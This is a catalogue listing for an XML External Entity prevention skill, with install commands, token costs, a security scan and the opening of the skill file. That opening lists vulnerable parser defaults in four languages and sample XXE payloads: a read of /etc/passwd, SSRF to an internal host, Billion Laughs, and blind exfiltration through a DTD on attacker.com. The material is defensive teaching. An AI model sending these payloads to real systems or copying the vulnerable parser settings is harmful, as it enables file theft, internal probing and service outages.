xxe-prevention

xxe-prevention is a skill for Claude Code from latestaiagents/agent-skills. It costs 74 tokens per session (2,293 once invoked), scanned A, original, MIT.

A security guide for safely processing XML, a text format used by documents, feeds, and some web services. It covers XML External Entity attacks, which can make an application read files, contact internal systems, or exhaust memory.

In plain words
What is it for?
Use it when parsing XML, handling SOAP requests, accepting SVG uploads, processing office documents, or building XML-based APIs.
Why use it?
It helps remove risks from unsafe XML parser settings and untrusted XML input.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Part of the owasp-guardian plugin — 6 skills shipped together , and of security, latestaiagents

Good fit Use it when parsing XML, handling SOAP requests, accepting SVG uploads, processing office documents, or building XML-based APIs.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/latestaiagents/agent-skills/xxe-prevention
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add latestaiagents/agent-skills --skill xxe-prevention
Clone the repo
git clone --depth 1 https://github.com/latestaiagents/agent-skills

Made for: Claude Code.

Or install owasp-guardian, the plugin that ships this one along with the rest of its 6 skills.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for xxe-prevention

README.md
[![agentmods](https://agentmods.dev/badge/skills/latestaiagents/agent-skills/xxe-prevention/github.svg)](https://agentmods.dev/skills/latestaiagents/agent-skills/xxe-prevention)
Your own site
<a href="https://agentmods.dev/skills/latestaiagents/agent-skills/xxe-prevention"><img src="https://agentmods.dev/badge/skills/latestaiagents/agent-skills/xxe-prevention/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for xxe-prevention

Your own site · 80×15
<a href="https://agentmods.dev/skills/latestaiagents/agent-skills/xxe-prevention"><img src="https://agentmods.dev/badge/skills/latestaiagents/agent-skills/xxe-prevention.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 74 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,293 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00074 $0.02293
Opus 5 $0.00037 $0.01146
Sonnet 5 $0.00015 $0.00459
Haiku 4.5 $0.00007 $0.00229

Measured 7d ago against content hash 3cc07f9fcc58, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-11, from the pricing page.

Security

Grade A, and why

xxe-prevention scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -X POST http://target/api/xml \
skills/security/owasp-guardian/xxe-prevention/SKILL.md · 335 lines

How it starts

The opening of the file, as written. The whole thing — 335 lines — stays where its author put it; the contents beside it link to each section on GitHub.

XXE Prevention (OWASP A04)

Prevent XML External Entity attacks by safely configuring XML parsers and validating XML input.

When to Use

  • Parsing user-supplied XML
  • Processing SOAP/WSDL services
  • Handling SVG file uploads
  • Working with Office documents (DOCX, XLSX)
  • Implementing XML-based APIs
  • Processing RSS/Atom feeds

Attack Types

Attack Impact Description
File Disclosure HIGH Read local files (/etc/passwd)
SSRF HIGH Access internal services
DoS (Billion Laughs) HIGH Memory exhaustion
Port Scanning MEDIUM Probe internal network
Remote Code Execution CRITICAL In rare configurations

Vulnerable Code Patterns

Node.js

// VULNERABLE - Default XML parser settings
const xml2js = require('xml2js');
const parser = new xml2js.Parser();
parser.parseString(userXml, callback);

// VULNERABLE - libxmljs with default options
const libxmljs = require('libxmljs');
const doc = libxmljs.parseXml(userXml);

Python

# VULNERABLE - etree with default settings
from xml.etree import ElementTree
tree = ElementTree.parse(user_xml_file)

# VULNERABLE - lxml without disabling entities
from lxml import etree
doc = etree.parse(user_xml_file)

Java

// VULNERABLE - Default DocumentBuilder
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(userXmlInput);

// VULNERABLE - Default SAX parser
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser parser = spf.newSAXParser();
parser.parse(userXmlInput, handler);

PHP

// VULNERABLE - simplexml_load_string with default
$xml = simplexml_load_string($userXml);

// VULNERABLE - DOMDocument with default
$doc = new DOMDocument();
$doc->loadXML($userXml);

XXE Attack Payloads

<!-- File disclosure -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

<!-- SSRF - Access internal service -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://internal-server/admin">
]>
<data>&xxe;</data>

<!-- Billion Laughs (DoS) -->
<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<lolz>&lol4;</lolz>

<!-- Blind XXE with out-of-band data exfiltration -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
]>
<data>test</data>

Read the full file on GitHub · 335 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 7d ago First seen · 335 lines · 74 tokens per session scan A 3cc07f9fcc58

Subscribe to this mod's changes

xxe-prevention is a skill published in the GitHub repository latestaiagents/agent-skills (5 stars, last pushed 4mo ago), licensed MIT. It adds 74 tokens to every session and 2,293 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.